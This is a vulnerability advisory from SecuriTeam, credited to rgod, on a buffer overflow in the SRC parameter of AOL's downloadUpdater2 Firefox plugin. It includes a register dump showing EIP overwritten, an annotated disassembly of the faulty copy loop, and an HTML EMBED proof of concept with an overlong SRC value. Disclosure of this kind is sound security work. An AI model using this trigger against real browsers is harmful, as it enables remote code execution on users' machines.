Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	AOL Products downloadUpdater2 Plugin SRC Parameter Remote Code Execution Vulnerability 3 Jan. 2013    Summary AOL Products downloadUpdater2 Plugin SRC Parameter is prone to a remote code execution vulnerability.   Credit: The information has been provided by rgod. Free Website Security Scan Free Fuzzer Report Vulnerability Assessment Detect web app vulnerabilities University study comparing the top Accurate and automated scanning Get guidance from professionals. 6 commercially availble fuzzers. for networks of any size.    Details Protect your website! Free Trial, Nothing to install. No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * AOL Products downloadUpdater2 Plugin SRC AOL Products downloadUpdater2 Plugin SRC Parameter Remote Code Execution tested against: Microsoft Windows Vista sp2 Microsoft Windows Server 2003 r2 sp2 Mozilla Firefox 14.0.1 download url: http://client.web.aol.com/toolbarfiles/Prod/downloads/downloadupdater/dnupdatersetup.exe (this was the update for a previous vulnerability, see ZDI-12-098) see also the installer aol_toolbar_pricecheck.exe url: http://toolbar.aol.com/download_files/download-helper.html?brand=aol&a=111&ncid=txtlnkusdown00000043 vulnerability: the mentioned product installs a Firefox plugin: File: npdnupdater2.dll Version: 1.3.0.0 Name: npdnupdater2 Path: C:\Program Files\Mozilla Firefox\plugins\npdnupdater2.dll Mime type: applicatiotn/x-vend.aol.dnupdater2.1 Extension: ocp By embedding this plugin inside an html page is possible to trigger a buffer overflow vulnerability through the 'SRC' parameter. Example crash: EAX 00000000 ECX 01101470 EDX 01135208 ASCII "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" EBX 00000000 ESP 0013F618 EBP 0013F634 ESI 00000002 EDI 0013F668 EIP 61616161 C 1 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 1 FS 003B 32bit 7FFDD000(4000) T 0 GS 0000 NULL D 0 O 0 LastErr 00000000 ERROR_SUCCESS EFL 00000297 (NO,B,NE,BE,S,PE,L,LE) ST0 empty 0.0 ST1 empty 0.0 ST2 empty 0.0 ST3 empty 0.0 ST4 empty 0.0 ST5 empty 0.0 ST6 empty 8.0000000000000000000 ST7 empty 0.2500000000000000000 CONST 1/4. 3 2 1 0 E S P U O Z D I FST 0120 Cond 0 0 0 1 Err 0 0 1 0 0 0 0 0 (LT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 Last cmnd 001B:10571FBD xul.10571FBD XMM0 00000000 00000000 00000000 00000000 XMM1 61616161 61616161 61616161 61616161 XMM2 61616161 61616161 61616161 61616161 XMM3 61616161 61616161 61616161 61616161 XMM4 61616161 61616161 61616161 61616161 XMM5 61616161 61616161 61616161 61616161 XMM6 61616161 61616161 61616161 61616161 XMM7 61616161 61616161 61616161 61616161 P U O Z D I MXCSR 00001F80 FZ 0 DZ 0 Err 0 0 0 0 0 0 Rnd NEAR Mask 1 1 1 1 1 1 EIP is overwritten, also EDX points to user-supplied code (this can be done by setting an overlong fake parameter, see poc). As attachment, proof of concept code. a copy loop [*] is involved in overwriting a certain memory region. The subsequent code can be used to call inside this memory region [**]. See npdnupdater2.dll: CPU Disasm Address Hex dump Command Comments 01A91C10 /$ 55 PUSH EBP ; npdnupdater2.01A91C10(guessed Arg1) 01A91C11 |. 56 PUSH ESI 01A91C12 |. 8BE9 MOV EBP,ECX 01A91C14 |. 57 PUSH EDI 01A91C15 |. 8B7C24 10 MOV EDI,DWORD PTR SS:[ARG.1] 01A91C19 |. C745 00 9CA2A MOV DWORD PTR SS:[EBP],OFFSET 01A9A29C 01A91C20 |. 8B07 MOV EAX,DWORD PTR DS:[EDI] 01A91C22 |. 33F6 XOR ESI,ESI 01A91C24 |. 8945 04 MOV DWORD PTR SS:[EBP+4],EAX 01A91C27 |. C645 08 00 MOV BYTE PTR SS:[EBP+8],0 01A91C2B |. C745 10 00000 MOV DWORD PTR SS:[EBP+10],0 01A91C32 |. 66:3977 0A CMP WORD PTR DS:[EDI+0A],SI 01A91C36 |. 7E 3E JLE SHORT 01A91C76 01A91C38 |. EB 06 JMP SHORT 01A91C40 01A91C3A | 8D9B 00000000 LEA EBX,[EBX] 01A91C40 |> 8B4F 0C /MOV ECX,DWORD PTR DS:[EDI+0C] 01A91C43 |. 8B14B1 |MOV EDX,DWORD PTR DS:[ESI*4+ECX] 01A91C46 |. 68 D4A2A901 |PUSH OFFSET 01A9A2D4 ; /Arg2 = ASCII "SRC" 01A91C4B |. 52 |PUSH EDX ; |Arg1 01A91C4C |. E8 E06F0000 |CALL 01A98C31 <------------- ; \npdnupdater2.01A98C31 01A91C51 |. 83C4 08 |ADD ESP,8 01A91C54 |. 85C0 |TEST EAX,EAX 01A91C56 |. 75 15 |JNE SHORT 01A91C6D 01A91C58 |. 8B47 10 |MOV EAX,DWORD PTR DS:[EDI+10] 01A91C5B |. 8B0CB0 |MOV ECX,DWORD PTR DS:[ESI*4+EAX] 01A91C5E |. BA 38CCA901 |MOV EDX,OFFSET 01A9CC38 ; ASCII "aaaa..." 01A91C63 |> 8A01 |/MOV AL,BYTE PTR DS:[ECX] <----------------- [*] 01A91C65 |. 41 ||INC ECX 01A91C66 |. 8802 ||MOV BYTE PTR DS:[EDX],AL 01A91C68 |. 42 ||INC EDX 01A91C69 |. 84C0 ||TEST AL,AL 01A91C6B |.^ 75 F6 |\JNE SHORT 01A91C63 01A91C6D |> 0FBF4F 0A |MOVSX ECX,WORD PTR DS:[EDI+0A] 01A91C71 |. 46 |INC ESI 01A91C72 |. 3BF1 |CMP ESI,ECX 01A91C74 |.^ 7C CA \JL SHORT 01A91C40 01A91C76 |> 5F POP EDI 01A91C77 |. 5E POP ESI 01A91C78 |. 8BC5 MOV EAX,EBP 01A91C7A |. 5D POP EBP 01A91C7B \. C2 0400 RETN 4 01A91C7E CC INT3 01A91C7F CC INT3 01A91C80 /. 8B4424 04 MOV EAX,DWORD PTR SS:[ARG.1] 01A91C84 |. 85C0 TEST EAX,EAX 01A91C86 |. 56 PUSH ESI 01A91C87 |. 8BF1 MOV ESI,ECX 01A91C89 |. 74 09 JE SHORT 01A91C94 01A91C8B |. 8B00 MOV EAX,DWORD PTR DS:[EAX] 01A91C8D |. 85C0 TEST EAX,EAX 01A91C8F |. 8946 0C MOV DWORD PTR DS:[ESI+0C],EAX 01A91C92 |. 75 06 JNE SHORT 01A91C9A 01A91C94 |> 32C0 XOR AL,AL 01A91C96 |. 5E POP ESI 01A91C97 |. C2 0400 RETN 4 01A91C9A |> 57 PUSH EDI 01A91C9B |. 8B3D 0CA1A901 MOV EDI,DWORD PTR DS:[<&USER32.SetWindow 01A91CA1 |. 68 501BA901 PUSH 01A91B50 ; /NewValue = npdnupdater2.1A91B50 01A91CA6 |. 6A FC PUSH -4 ; |Index = GWL_WNDPROC 01A91CA8 |. 50 PUSH EAX ; |hWnd 01A91CA9 |. FFD7 CALL EDI ; \USER32.SetWindowLongA 01A91CAB |. 56 PUSH ESI 01A91CAC |. A3 3CDCA901 MOV DWORD PTR DS:[1A9DC3C],EAX 01A91CB1 |. 8B46 0C MOV EAX,DWORD PTR DS:[ESI+0C] 01A91CB4 |. 6A EB PUSH -15 01A91CB6 |. 50 PUSH EAX 01A91CB7 |. FFD7 CALL EDI 01A91CB9 |. B0 01 MOV AL,1 01A91CBB |. 5F POP EDI 01A91CBC |. 8846 08 MOV BYTE PTR DS:[ESI+8],AL 01A91CBF |. 5E POP ESI 01A91CC0 \. C2 0400 RETN 4 ... 01A98C31 /$ 55 PUSH EBP ; npdnupdater2.01A98C31(guessed Arg1,Arg2) 01A98C32 |. 8BEC MOV EBP,ESP 01A98C34 |. 51 PUSH ECX 01A98C35 |. 53 PUSH EBX 01A98C36 |. E8 C9BDFFFF CALL 01A94A04 ; [npdnupdater2.01A94A04 ... ... CPU Disasm Address Hex dump Command Comments 01A94A04 /$ 53 PUSH EBX ; npdnupdater2.01A94A04(guessed void) 01A94A05 |. 56 PUSH ESI 01A94A06 |. FF15 14A0A901 CALL DWORD PTR DS:[<&KERNEL32.GetLastErr ; [NTDLL.RtlGetLastWin32Error 01A94A0C |. FF35 9CC1A901 PUSH DWORD PTR DS:[1A9C19C] 01A94A12 |. 8BD8 MOV EBX,EAX 01A94A14 |. FF15 BCDDA901 CALL DWORD PTR DS:[1A9DDBC] <------------------------------------- [**] boom! ... ... 01A9DDBC 61 POPAD <--------------boom!! 01A9DDBD 61 POPAD 01A9DDBE 61 POPAD 01A9DDBF 61 POPAD 01A9DDC0 61 POPAD 01A9DDC1 61 POPAD 01A9DDC2 61 POPAD 01A9DDC3 61 POPAD 01A9DDC4 61 POPAD ... PoC: <!-- AOL Products downloadUpdater2 Plugin for Firefox Remote Code Execution File: npdnupdater2.dll Version: 1.3.0.0 Name: npdnupdater2 Path: C:\Program Files\Mozilla Firefox\plugins\npdnupdater2.dll rgod --> <!-- saved from url=(0014)about:internet --> <EMBED TYPE="applicatiotn/x-vend.aol.dnupdater2.1" SRC="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > </EMBED> Disclosure Timeline: Published: 2012-08-06  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Moodle WebDav Repository Plaintext Password Disclosure Vulnerability QuickShare File Share Directory Traversal Vulnerability ELinks Security Bypass Vulnerability BlazeDVD PLF Exploit DEP/ASLR Bypass (MSF) Vulnerability WebKit Web Audio Channel Handling Race Condition Buffer Overflow Vulnerability Verax NMS Console AMF Response Plaintext Connection Information Disclosure Vulnerability Simeji for Android Application Handling Information Disclosure Vulnerability Ptlib Entity Expansion Recursion XML Nested Entity Handling DoS Vulnerability ownCloud /core/settings/ajax/setquota.php quota Parameter XSS Vulnerability Nitro Pro PDF File Handling DoS Vulnerability MailOrderWorks Dispatch Order Multiple Field XSS Vulnerability Linux Kernel Dccp Subsystem Ccid Null Pointer Dereference Local DoS Vulnerability ISC DHCP libdns Unspecified Remote Memory Exhaustion DoS Vulnerability GroundWork Monitor Enterprise Noma Component Multiple XSS Vulnerability GroundWork Monitor Enterprise Foundation Admin Interface XSS Vulnerability Google Chrome Isolated Web Sites Process Handling Issue Vulnerability Google Android On Samsung Unprivileged Arbitrary SMS Message Sending Vulnerability FFmpeg Libavcodec/error Function NULL Pointer Dereference DoS Vulnerability Commons Groups Module for Drupal Group Access Restriction Bypass Vulnerability Cfingerd RFC1413 (Ident) Client Remote Overflow Vulnerability  Featured Articles Mozilla Multiple Product HTML Editor Function Use-after-free Arbitrary Code Execution Vulnerability Exim with Dovecot Typical Misconfiguration Leads to Remote Command Execution Vulnerability IBM InfoSphere Information Server Unspecified Arbitrary Site Redirect Vulnerability Cisco Unity Express /Web/SA2/ScriptList.do gui_pagenotableData Parameter XSS Vulnerability Supportworks ITSM SQL Injection Vulnerability WirelessFiles for iPad/iPhone Multiple File Extension Upload Arbitrary Script Code Execution Vulnerability IBM InfoSphere Information Server Import Export Manager Path Subversion Arbitrary DLL Injection Code Execution Vulnerability CommentLuv Plugin for WordPress /wp-admin/admin-ajax.php _ajax_nonce Parameter XSS Vulnerability ownCloud Multiple Script Multiple Administrator Action CSRF Vulnerability IBM Multiple Product XSS Vulnerability TLS / DTLS Protocol CBC-Mode Ciphersuite Distinguishing Attack Information Disclosure Weakness Vulnerability JBoss Enterprise Application Platform / JBoss Enterprise Web Platform JMX Invoker Roll Restriction Weakness Vulnerability Google AD Sync Tool Exposure Of Sensitive Information Vulnerability VMware Multiple Product vmci.sys VMCI Control Code Handling Local Privilege Escalation Vulnerability Cisco Unity Express /Web/SA/SaveConfiguration.do Multiple Action CSRF Vulnerability AdPeeps /adpeeps_servlet.php Bannertext Parameter XSS Vulnerability Oracle Application Framework Diagnostic Mode Bypass Vulnerability Nero MediaHome NMMediaServer.dll Long Request Line Off-By-One Overflow Vulnerability Samba Samba Web Administration Tool (SWAT) Manipulation CSRF Vulnerability Adobe Flash Player And AIR Context Dependent Attacker Buffer Overflow Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®